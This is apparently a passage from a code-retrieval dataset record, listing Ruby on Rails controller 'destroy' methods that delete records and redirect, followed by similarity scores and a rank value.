"def destroy\n @ref = Ref.find(params[:id])\n @ref.destroy\n\n respond_to do |format|\n format.html { redirect_to(refs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card.destroy\n respond_to do |format|\n format.html { redirect_to plan_path(@plan) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card_page.destroy\n respond_to do |format|\n format.html { redirect_to card_pages_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @namecard.destroy\n respond_to do |format|\n format.html { redirect_to namecards_url, notice: 'Namecard was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @chamados = Chamado.find(params[:id])\n @chamados.destroy\n respond_to do |format|\n format.html { redirect_to(chamados_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @cash_book = CashBook.find(params[:id])\n @cash_book.destroy\n\n respond_to do |format|\n format.html { redirect_to(cash_books_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @card = Card.find(params[:id])\n @card.project.actions.create! activity: \"#{current_user.name} destroyed \\\"#{@card.story}\\\" Card\"\n @card.destroy\n\n respond_to do |format|\n format.html { redirect_to cards_url }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n @eno_card.destroy\n respond_to do |format|\n format.html { redirect_to eno_cards_url, notice: 'Eno card was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @card_set.destroy\n respond_to do |format|\n format.html { redirect_to card_sets_url, notice: 'Card set was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_cardapio = ItemCardapio.find(params[:id])\n @item_cardapio.destroy\n\n respond_to do |format|\n format.html { redirect_to item_cardapios_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cheque = Cheque.find(params[:id])\n @cheque.destroy\n\n respond_to do |format|\n format.html { redirect_to(cheques_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @nom = Nom.find(params[:id])\n @nom.destroy\n\n respond_to do |format|\n format.html { redirect_to(noms_url) }\n format.xml { head :ok }\n end\n end",
"def destroy1\n @compare = Compare.find(params[:id])\n @compare.destroy\n\n respond_to do |format|\n format.html { redirect_to(compares_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n respond_to do |format|\n if Card.find(params[:id]).destroy\n format.html { redirect_to cards_path, notice: \"Card deleted!\" }\n format.json { head :no_content }\n else\n format.html {\n flash[:danger] = \"Error : Failed to delete card.\"\n render :index\n }\n format.json { head :no_content }\n end\n end\n end",
"def destroy\n @qx = Qx.find(params[:id])\n @qx.destroy\n\n respond_to do |format|\n format.html { redirect_to(qxes_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @conseq = Conseq.find(params[:id])\n @conseq.destroy\n\n respond_to do |format|\n format.html { redirect_to(conseqs_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n Clenum.destroy params[:ids].split(',')\n\n respond_to do |format|\n format.html { redirect_to(clenums_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @omatsuri = Omatsuri.find(params[:id])\n @omatsuri.destroy\n\n respond_to do |format|\n format.html { redirect_to(omatsuris_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @reclamacao = Reclamacao.find(params[:id])\n @reclamacao.destroy\n\n respond_to do |format|\n format.html { redirect_to(reclamacaos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @poker_card.destroy\n respond_to do |format|\n format.html { redirect_to poker_cards_url }\n format.json { head :no_content }\n end\n end",
"def delete(container_name, file_name)\n validate_path_elements(container_name, file_name)\n\n client.request(\n method: :delete,\n path: \"#{container_name}/#{file_name}\",\n expected: 204\n )\n end",
"def destroy\n @recommand = Recommand.find(params[:id])\n @recommand.destroy\n\n respond_to do |format|\n format.html { redirect_to(recommands_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @catena = Catena.find(params[:id])\n @catena.destroy\n\n respond_to do |format|\n format.html { redirect_to(catenas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @flashcard = Flashcard.find(params[:id])\n @flashcard.destroy\n\n respond_to do |format|\n format.html { redirect_to flashcards_url }\n format.json { head :ok }\n end\n end",
"def destroy\r\n @razdel1 = Razdel1.find(params[:id])\r\n @razdel1.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to(razdel1s_url) }\r\n format.xml { head :ok }\r\n end\r\n end",
"def destroy\n @credit_card.destroy\n respond_to do |format|\n format.html { redirect_to credit_cards_url }\n end\n end",
"def delete(options={})\n connection.delete(\"/\", @name)\n end",
"def destroy\n @contactos = Contactos.find(params[:id])\n @contactos.destroy\n\n respond_to do |format|\n format.html { redirect_to(contactos_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @mtb_card = MtbCard.find(params[:id])\n @mtb_card.destroy\n\n respond_to do |format|\n format.html { redirect_to mtb_cards_url }\n format.json { head :no_content }\n end\n end"
] |
[
"0.7198513",
"0.70586306",
"0.7013227",
"0.6997778",
"0.69684434",
"0.6935861",
"0.6913809",
"0.68681854",
"0.6815935",
"0.6802931",
"0.6791042",
"0.6787548",
"0.67659336",
"0.67659336",
"0.67659336",
"0.67377",
"0.67159986",
"0.6696428",
"0.66957396",
"0.6688146",
"0.666909",
"0.6572549",
"0.65719223",
"0.65634525",
"0.65574807",
"0.65528685",
"0.654791",
"0.65439725",
"0.6541086",
"0.6506163",
"0.64971215",
"0.64971215",
"0.64971215",
"0.64971215",
"0.64971215",
"0.64971215",
"0.64971215",
"0.64971125",
"0.64942855",
"0.6493453",
"0.64906514",
"0.6477367",
"0.6472388",
"0.6462932",
"0.6461915",
"0.64615655",
"0.64553887",
"0.64257413",
"0.6421487",
"0.64174235",
"0.64169425",
"0.64138937",
"0.64129657",
"0.6406379",
"0.64006865",
"0.63868934",
"0.6374005",
"0.6371451",
"0.637128",
"0.63537925",
"0.6350665",
"0.6343744",
"0.63186884",
"0.6317034",
"0.6310445",
"0.630601",
"0.6290013",
"0.6288833",
"0.62876666",
"0.6284717",
"0.6283854",
"0.6280901",
"0.62798786",
"0.6279021",
"0.62719536",
"0.6269436",
"0.6268299",
"0.6268087",
"0.626679",
"0.62646955",
"0.62626463",
"0.6262088",
"0.6259218",
"0.62570405",
"0.62553906",
"0.6249558",
"0.6248731",
"0.6246517",
"0.6240998",
"0.62389046",
"0.623152",
"0.62290585",
"0.62270874",
"0.6226707",
"0.6213185",
"0.6212359",
"0.62089247",
"0.6204714",
"0.62017363",
"0.6201684"
] |
0.72129923
|
0
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.